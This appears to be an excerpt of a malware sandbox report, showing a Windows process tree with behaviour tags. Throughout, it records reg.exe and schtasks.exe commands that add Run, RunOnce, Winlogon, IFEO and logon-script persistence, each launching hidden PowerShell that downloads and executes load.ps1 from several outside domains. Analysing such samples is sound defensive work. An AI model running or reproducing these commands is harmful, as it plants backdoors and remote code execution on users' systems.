                              • System Location Discovery: System Language Discovery
                              PID:3276
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /f
                                3⤵
                                • Registers new Windows logon scripts automatically executed at logon.
                                PID:856
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /sc onlogon /f
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:1960
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /sc onlogon /f
                                3⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:5068
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /sc minute /mo 5 /f
                              2⤵
                                PID:4320
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://tga95.games/load.ps1')\"" /sc minute /mo 5 /f
                                  3⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:1324
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                2⤵
                                  PID:1472
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                    3⤵
                                    • Adds Run key to start application
                                    • System Location Discovery: System Language Discovery
                                    PID:4936
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                  2⤵
                                    PID:2240
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                      3⤵
                                      • Adds Run key to start application
                                      • System Location Discovery: System Language Discovery
                                      PID:4768
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                    2⤵
                                      PID:2024
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                        3⤵
                                        • Event Triggered Execution: Image File Execution Options Injection
                                        PID:2692
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                      2⤵
                                        PID:404
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                          3⤵
                                          • Modifies WinLogon for persistence
                                          • System Location Discovery: System Language Discovery
                                          PID:3672
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                        2⤵
                                        • Executes a command shell one-liner
                                        PID:3568
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /f
                                          3⤵
                                          • Registers new Windows logon scripts automatically executed at logon.
                                          PID:2656
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /sc onlogon /f
                                        2⤵
                                        • Executes a command shell one-liner
                                        PID:4048
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /sc onlogon /f
                                          3⤵
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:3852
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /sc minute /mo 5 /f
                                        2⤵
                                        • Executes a command shell one-liner
                                        PID:2132
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://whatsapp-group.dostbook.in/load.ps1')\"" /sc minute /mo 5 /f
                                          3⤵
                                          • System Location Discovery: System Language Discovery
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:2112
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                        2⤵
                                          PID:2816
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                            3⤵
                                            • Adds Run key to start application
                                            • System Location Discovery: System Language Discovery
                                            PID:4820
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                          2⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:1656
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                            3⤵
                                            • Adds Run key to start application
                                            PID:4940
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                          2⤵
                                          • Executes a command shell one-liner
                                          PID:3684
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                            3⤵
                                            • Event Triggered Execution: Image File Execution Options Injection
                                            PID:488
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                          2⤵
                                            PID:3284
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                              3⤵
                                              • Modifies WinLogon for persistence
                                              • System Location Discovery: System Language Discovery
                                              PID:1692
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                            2⤵
                                            • Executes a command shell one-liner
                                            • System Location Discovery: System Language Discovery
                                            PID:4324
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /f
                                              3⤵
                                              • Registers new Windows logon scripts automatically executed at logon.
                                              • System Location Discovery: System Language Discovery
                                              PID:1740
                                          • C:\Windows\SysWOW64\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc onlogon /f
                                            2⤵
                                              PID:2008
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc onlogon /f
                                                3⤵
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:1592
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc minute /mo 5 /f
                                              2⤵
                                              • Executes a command shell one-liner
                                              PID:4852
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')\"" /sc minute /mo 5 /f
                                                3⤵
                                                • System Location Discovery: System Language Discovery
                                                • Scheduled Task/Job: Scheduled Task
                                                PID:3584
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                              2⤵
                                              • Executes a command shell one-liner
                                              PID:3272
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                3⤵
                                                • Adds Run key to start application
                                                • System Location Discovery: System Language Discovery
                                                PID:3752
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                              2⤵
                                              • Executes a command shell one-liner
                                              • System Location Discovery: System Language Discovery
                                              PID:832
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                3⤵
                                                • Adds Run key to start application
                                                PID:2552
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                              2⤵
                                                PID:3928
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                  3⤵
                                                  • Event Triggered Execution: Image File Execution Options Injection
                                                  PID:4168
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                2⤵
                                                • Executes a command shell one-liner
                                                PID:2652
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                  3⤵
                                                  • Modifies WinLogon for persistence
                                                  • System Location Discovery: System Language Discovery
                                                  PID:1760
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                2⤵
                                                • Executes a command shell one-liner
                                                PID:4128
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /f
                                                  3⤵
                                                  • Registers new Windows logon scripts automatically executed at logon.
                                                  PID:3628
                                              • C:\Windows\SysWOW64\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /sc onlogon /f
                                                2⤵
                                                  PID:244
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /sc onlogon /f
                                                    3⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:1496
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /sc minute /mo 5 /f
                                                  2⤵
                                                  • Executes a command shell one-liner
                                                  • System Location Discovery: System Language Discovery
                                                  PID:424
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://help.eselfmade.in/load.ps1')\"" /sc minute /mo 5 /f
                                                    3⤵
                                                    • Scheduled Task/Job: Scheduled Task
                                                    PID:2552
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                  2⤵
                                                  • Executes a command shell one-liner
                                                  PID:1836
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                    3⤵
                                                    • Adds Run key to start application
                                                    • System Location Discovery: System Language Discovery
                                                    PID:5156
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                  2⤵
                                                  • System Location Discovery: System Language Discovery
                                                  PID:3852
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                    3⤵
                                                    • Adds Run key to start application
                                                    • System Location Discovery: System Language Discovery
                                                    PID:4044
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                  2⤵
                                                    PID:4544
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                      3⤵
                                                      • Event Triggered Execution: Image File Execution Options Injection
                                                      PID:5132
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                    2⤵
                                                    • Executes a command shell one-liner
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2204
                                                    • C:\Windows\System32\Conhost.exe
                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      3⤵
                                                        PID:3752
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                        3⤵
                                                        • Modifies WinLogon for persistence
                                                        PID:5288
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                      2⤵
                                                        PID:2656
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /f
                                                          3⤵
                                                          • Registers new Windows logon scripts automatically executed at logon.
                                                          PID:5356
                                                      • C:\Windows\SysWOW64\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /sc onlogon /f
                                                        2⤵
                                                          PID:5144
                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /sc onlogon /f
                                                            3⤵
                                                            • Scheduled Task/Job: Scheduled Task
                                                            PID:5384
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /sc minute /mo 5 /f
                                                          2⤵
                                                            PID:5224
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://mparivahan.digilockers.in/load.ps1')\"" /sc minute /mo 5 /f
                                                              3⤵
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:5364
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            • System Location Discovery: System Language Discovery
                                                            PID:6040
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                              3⤵
                                                              • Adds Run key to start application
                                                              PID:5348
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            PID:6076
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                              3⤵
                                                              • Adds Run key to start application
                                                              PID:5368
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:6120
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                              3⤵
                                                              • Event Triggered Execution: Image File Execution Options Injection
                                                              • System Location Discovery: System Language Discovery
                                                              PID:1348
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                            2⤵
                                                            • Executes a command shell one-liner
                                                            • System Location Discovery: System Language Discovery
                                                            PID:5176
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                              3⤵
                                                              • Modifies WinLogon for persistence
                                                              • System Location Discovery: System Language Discovery
                                                              PID:3752
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                                                            2⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:5312
